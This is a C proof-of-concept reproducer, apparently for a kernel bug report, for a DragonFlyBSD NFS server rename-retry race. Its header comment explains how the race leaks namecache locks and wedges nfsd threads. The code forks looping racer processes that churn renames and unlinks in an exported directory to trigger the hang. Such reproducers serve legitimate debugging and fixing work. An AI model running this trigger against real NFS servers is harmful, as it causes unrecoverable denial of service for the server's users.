/* DF-3061 - DragonFlyBSD NFS server rename-retry leak
 *
 * Trigger: while an NFS client issues rename(src, dst) against the server,
 * a racing writer (local process or second client op) churns the same
 * directory entries so the namecache topology changes between nfs_namei()
 * lookup and cache_lock4_tondlocked() revalidation.  The server takes the
 * "nfs - retry rename" path in nfsrv_rename(), which calls nfs_namei()
 * a second time on the SAME nlookupdata.  nfs_namei()'s isretry path only
 * rescues nd->nl_path; nlookup_init_raw() then bzero()s the whole nd,
 * leaking: the exclusive ncp lock on fromnd/tond leaf entries, 6 cache
 * refs, and 2 crhold'd ucreds.  Leaked ncp lock => every later lookup of
 * those names blocks forever (uninterruptible); nfsd threads wedge.
 *
 * marker: "nfs - retry rename" on console/dmesg, then lookups of the
 * affected names hang (kill -9 ineffective), nfsd thread count drops.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/stat.h>

static const char *dirpath;

/* server-side racer: rename src<->dst + unlink, forever */
static void
racer(void)
{
	char a[512], b[512];
	snprintf(a, sizeof(a), "%s/src", dirpath);
	snprintf(b, sizeof(b), "%s/dst", dirpath);
	for (;;) {
		rename(a, b);
		rename(b, a);
		unlink(a);
		unlink(b);
	}
	exit(1);
}

int
main(int argc, char **argv)
{
	int i, status;
	pid_t rp;
	char cmd[1024];

	if (argc < 2) {
		fprintf(stderr, "usage: %s <exported-dir-on-server>\n", argv[0]);
		exit(2);
	}
	dirpath = argv[1];

	/* run inside the guest ON THE EXPORTED TREE (as the "local racer") */
	rp = fork();
	if (rp == 0)
		racer();
	/* parent pretends to be the churn source for client-side renames too */
	for (i = 0; i < 4; i++) {
		pid_t p = fork();
		if (p == 0) {
			char a[512], b[512];
			snprintf(a, sizeof(a), "%s/r%d", dirpath, i);
			snprintf(b, sizeof(b), "%s/r%db", dirpath, i);
			for (;;) {
				int fd = open(a, O_CREAT, 0666);
				if (fd >= 0) close(fd);
				fd = open(b, O_CREAT, 0666);
				if (fd >= 0) close(fd);
				rename(a, b);
				unlink(b);
				unlink(a);
			}
		}
	}
	sleep(120);	/* let the client-side racer work */
	kill(rp, SIGKILL);
	waitpid(rp, &status, 0);
	fprintf(stderr, "racer done\n");
	return 0;
}
